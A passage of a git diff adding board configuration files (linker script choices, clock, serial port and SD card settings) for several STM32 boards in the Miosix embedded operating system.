cpuFrequency=168000000; + +/// Serial port +/// Serial ports 1 to 8 are available +/// Note that serial 2 is used by the piksi GPS +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +// Serial 1 has no DMA as it would conflict with SPI6 +const bool defaultSerialDma=false; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#ifdef __ENABLE_XRAM +//Reduce SD clock to ~4.8MHz +#define OVERRIDE_SD_CLOCK_DIVIDER_MAX 8 +#endif //__ENABLE_XRAM +//#define SD_ONE_BIT_DATABUS //Use full 4 bit data bus to SD card + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f429zi_skyward_homeone/Makefile.inc b/miosix/config/board/stm32f429zi_skyward_homeone/Makefile.inc new file mode 100644 index 000000000..aaf94bb0b --- /dev/null +++ b/miosix/config/board/stm32f429zi_skyward_homeone/Makefile.inc @@ -0,0 +1,12 @@ +## +## Options for board stm32f429zi_skyward_homeone +## Included by the board's makefile +## + +## Select linker script +## 1) Code in FLASH, stack + heap in internal RAM +#LINKER_SCRIPT := unikernel.ld + +## 2) Code in FLASH, stack + heap in external RAM +LINKER_SCRIPT := unikernel-xram.ld +XRAM := -D__ENABLE_XRAM diff --git a/miosix/config/board/stm32f429zi_skyward_homeone/board_settings.h b/miosix/config/board/stm32f429zi_skyward_homeone/board_settings.h new file mode 100644 index 000000000..12ab14957 --- /dev/null +++ b/miosix/config/board/stm32f429zi_skyward_homeone/board_settings.h @@ -0,0 +1,97 @@ +/*************************************************************************** + * Copyright (C) 2014-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 180000000, 168000000, 100000000 +// Note: at 100Mhz (and 180MHz) SDIO and RNG run at the wrong speed and USB will +// not work because the PLL will run at 40MHz (or 45MHz) instead of 48MHz due to +// hardware limitations +constexpr unsigned int cpuFrequency=168000000; + +/// Serial port +/// Serial ports 1 to 8 are available +/// Serial 2 and 3 are used by gps and radio respectively +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=30; //Board powered @ 3.0V +#ifdef __ENABLE_XRAM +//Reduce SD clock to ~4.8MHz +#define OVERRIDE_SD_CLOCK_DIVIDER_MAX 8 +#endif //__ENABLE_XRAM +//#define SD_ONE_BIT_DATABUS //This board supports 4 bit databus to SD card + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f429zi_stm32f4discovery/Makefile.inc b/miosix/config/board/stm32f429zi_stm32f4discovery/Makefile.inc new file mode 100644 index 000000000..39286aa29 --- /dev/null +++ b/miosix/config/board/stm32f429zi_stm32f4discovery/Makefile.inc @@ -0,0 +1,25 @@ +## +## Options for board stm32f429zi_stm32f4discovery +## Included by the board's makefile +## + +## Select linker script +## 1) Code in FLASH, stack + heap in internal RAM +#LINKER_SCRIPT := unikernel.ld + +## 2) Code in FLASH, stack + heap in external RAM +#LINKER_SCRIPT := unikernel-xram-8m.ld + +## 3) Same as 2), but leaves the upper 2MB of RAM for the LCD framebuffers +LINKER_SCRIPT := unikernel-xram-6m.ld + +## 4) Same as 1) but with the process pool +#LINKER_SCRIPT := processes.ld + +## 5) Code in FLASH, kernel in internal RAM, process pool in XRAM, except for +## upper 2M that are reserved for the LCD framebuffers +#LINKER_SCRIPT := processes-xram-6m.ld + +## Do not uncomment this even if you don't use a linker script that requires +## it, as it is used for the LCD framebuffer. +XRAM := -D__ENABLE_XRAM diff --git a/miosix/config/board/stm32f429zi_stm32f4discovery/board_settings.h b/miosix/config/board/stm32f429zi_stm32f4discovery/board_settings.h new file mode 100644 index 000000000..28c764ae5 --- /dev/null +++ b/miosix/config/board/stm32f429zi_stm32f4discovery/board_settings.h @@ -0,0 +1,93 @@ +/*************************************************************************** + * Copyright (C) 2014-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 180000000, 168000000, 100000000 +// Note: at 100Mhz (and 180MHz) SDIO and RNG run at the wrong speed and USB will +// not work because the PLL will run at 40MHz (or 45MHz) instead of 48MHz due to +// hardware limitations +constexpr unsigned int cpuFrequency=180000000; + +/// Serial port +/// Serial ports 1 to 8 are available +/// Serial 2 and 3 cannot be used due to pin conflicts +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=30; //Board powered @ 3.0V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f469ni_stm32f469i-disco/Makefile.inc b/miosix/config/board/stm32f469ni_stm32f469i-disco/Makefile.inc new file mode 100644 index 000000000..01466f136 --- /dev/null +++ b/miosix/config/board/stm32f469ni_stm32f469i-disco/Makefile.inc @@ -0,0 +1,25 @@ +## +## Options for board stm32f469ni_stm32f469i-disco +## Included by the board's makefile +## + +## Select linker script +## 1) Code in FLASH, stack + heap in internal RAM +#LINKER_SCRIPT := unikernel.ld + +## 2) Code in FLASH, stack + heap in external RAM +#LINKER_SCRIPT := unikernel-xram-16m.ld + +## 3) Same as 2), but leaves the upper 4MB of RAM for the LCD framebuffers +LINKER_SCRIPT := unikernel-xram-12m.ld + +## 4) Code in FLASH, kernel in internal RAM, process pool in external RAM +#LINKER_SCRIPT := processes-xram.ld + +## 5) Code in FLASH, kernel and process pool in external RAM +#LINKER_SCRIPT := processes-kernel-xram.ld + +## Uncommenting __ENABLE_XRAM enables the initialization of the external +## 16MB SDRAM memory. Do not uncomment this even if you don't use a linker +## script that requires it, as it is used for the LCD framebuffer. +XRAM := -D__ENABLE_XRAM diff --git a/miosix/config/board/stm32f469ni_stm32f469i-disco/board_settings.h b/miosix/config/board/stm32f469ni_stm32f469i-disco/board_settings.h new file mode 100644 index 000000000..a47f07ea3 --- /dev/null +++ b/miosix/config/board/stm32f469ni_stm32f469i-disco/board_settings.h @@ -0,0 +1,93 @@ +/*************************************************************************** + * Copyright (C) 2014-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 180000000, 168000000, 100000000 +// Note: at 100Mhz (and 180MHz) SDIO and RNG run at the wrong speed and USB will +// not work because the PLL will run at 40MHz (or 45MHz) instead of 48MHz due to +// hardware limitations +constexpr unsigned int cpuFrequency=168000000; + +/// Serial port +/// Using the Serial port 3 because it is the virtual serial port available +/// through ST-LINK on the stm32f469i-disco board +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_KEEP_CARD_SELECTED + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f746zg_nucleo/Makefile.inc b/miosix/config/board/stm32f746zg_nucleo/Makefile.inc new file mode 100644 index 000000000..95e04b8b2 --- /dev/null +++ b/miosix/config/board/stm32f746zg_nucleo/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f746zg_nucleo +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f746zg_nucleo/board_settings.h b/miosix/config/board/stm32f746zg_nucleo/board_settings.h new file mode 100644 index 000000000..24055bf98 --- /dev/null +++ b/miosix/config/board/stm32f746zg_nucleo/board_settings.h @@ -0,0 +1,88 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 216000000 +constexpr unsigned int cpuFrequency=216000000; + +/// Serial port +/// Serial ports 1 to 8 are available +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus +#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f765ii_marco_ram_board/Makefile.inc b/miosix/config/board/stm32f765ii_marco_ram_board/Makefile.inc new file mode 100644 index 000000000..f39a14c1d --- /dev/null +++ b/miosix/config/board/stm32f765ii_marco_ram_board/Makefile.inc @@ -0,0 +1,41 @@ +## +## Options for board stm32f765ii_marco_ram_board +## Included by the board's makefile +## + +## Linker script type +## 1) - .text internal Flash +## - IRQ stack internal SRAM +## - .data, .bss internal SRAM +## - Heap (and thread stacks) internal SRAM +## The most common choice, available for all microcontrollers +#LINKER_SCRIPT := unikernel.ld + +## 2) - .text internal Flash +## - IRQ stack internal SRAM +## - .data, .bss internal SRAM +## - Heap (and thread stacks) external SDRAM (bank 1) +## For application with small static buffers. Only uses SDRAM bank 1. +LINKER_SCRIPT := unikernel-xram-heap.ld + +## 3) - .text internal Flash +## - IRQ stack internal SRAM +## - .data, .bss external SDRAM (bank 1) +## - Heap (and thread stacks) external SDRAM (bank 1) +## For application with large static buffers. Only uses SDRAM bank 1. +#LINKER_SCRIPT := unikernel-xram.ld + +## 4) - .text internal Flash +## - IRQ stack internal SRAM +## - .data, .bss internal SRAM +## - Heap (and thread stacks) internal SRAM +## - Process Pool internal SRAM +#LINKER_SCRIPT := processes.ld + +## 5) stm32_2m+384k_xram_256M_processes.ld +## - .text internal Flash +## - IRQ stack internal SRAM +## - .data, .bss internal SRAM +## - Heap (and thread stacks) internal SRAM +## - Process Pool external SDRAM (bank 1) +#LINKER_SCRIPT := processes-xram.ld diff --git a/miosix/config/board/stm32f765ii_marco_ram_board/board_settings.h b/miosix/config/board/stm32f765ii_marco_ram_board/board_settings.h new file mode 100644 index 000000000..bf186c2db --- /dev/null +++ b/miosix/config/board/stm32f765ii_marco_ram_board/board_settings.h @@ -0,0 +1,86 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 216000000 +constexpr unsigned int cpuFrequency=216000000; + +/// Serial port +/// Serial ports 1 to 8 are available, but there are a lot of other peripherals +/// conflicting on the serial pins and the extension header pins are few. +/// Serial 1 pins are available on the extension header, serial 3 is connected +/// to the FT2232. +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; //unavailable +//using defaultSerialCtsPin = Gpio; //unavailable +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +// #define SD_ONE_BIT_DATABUS +#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 + +/** + * \} + */ + +} // namespace miosix diff --git a/miosix/config/board/stm32f767zi_nucleo/Makefile.inc b/miosix/config/board/stm32f767zi_nucleo/Makefile.inc new file mode 100644 index 000000000..b9b727a63 --- /dev/null +++ b/miosix/config/board/stm32f767zi_nucleo/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f767zi_nucleo +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f767zi_nucleo/board_settings.h b/miosix/config/board/stm32f767zi_nucleo/board_settings.h new file mode 100644 index 000000000..8a97962d3 --- /dev/null +++ b/miosix/config/board/stm32f767zi_nucleo/board_settings.h @@ -0,0 +1,88 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 216000000 +constexpr unsigned int cpuFrequency=216000000; + +/// Serial port +/// Serial ports 1 to 8 are available +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +// #define SD_ONE_BIT_DATABUS +#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 + +/** + * \} + */ + +} // namespace miosix diff --git a/miosix/config/board/stm32f769ni_discovery/Makefile.inc b/miosix/config/board/stm32f769ni_discovery/Makefile.inc new file mode 100644 index 000000000..52b6a4986 --- /dev/null +++ b/miosix/config/board/stm32f769ni_discovery/Makefile.inc @@ -0,0 +1,20 @@ +## +## Options for board stm32f769ni_discovery +## Included by the board's makefile +## + +## Select linker script + +# Option 1: IRQ stack in TCM SRAM, everything else in 16MB XRAM +LINKER_SCRIPT := unikernel-xram.ld +XRAM := -D__ENABLE_XRAM + +# Option 2: kernel in internal SRAM, process pool in 16MB XRAM +#LINKER_SCRIPT := processes-xram.ld +#XRAM := -D__ENABLE_XRAM + +# Option 3: everything in SRAM, XRAM not used +#LINKER_SCRIPT := unikernel.ld + +# Option 4: everything in SRAM+process pool, XRAM not used +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f769ni_discovery/board_settings.h b/miosix/config/board/stm32f769ni_discovery/board_settings.h new file mode 100644 index 000000000..040d4c2ae --- /dev/null +++ b/miosix/config/board/stm32f769ni_discovery/board_settings.h @@ -0,0 +1,88 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 216000000 +constexpr unsigned int cpuFrequency=216000000; + +/// Serial port +/// Serial ports 1 to 8 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +// SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +// #define SD_ONE_BIT_DATABUS +#define SD_SDMMC 2 //Select either SDMMC1 or SDMMC2 + +/** + * \} + */ + +} // namespace miosix diff --git a/miosix/config/board/stm32h503rb_generic/Makefile.inc b/miosix/config/board/stm32h503rb_generic/Makefile.inc new file mode 100644 index 000000000..ad0e16355 --- /dev/null +++ b/miosix/config/board/stm32h503rb_generic/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32h503rb_generic +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32h503rb_generic/board_settings.h b/miosix/config/board/stm32h503rb_generic/board_settings.h new file mode 100644 index 000000000..d45eb2919 --- /dev/null +++ b/miosix/config/board/stm32h503rb_generic/board_settings.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 250000000 +// While the chip can run up to 480MHz, the board uses the SMPS feature +// that limits clock speed to 400MHz +constexpr unsigned int 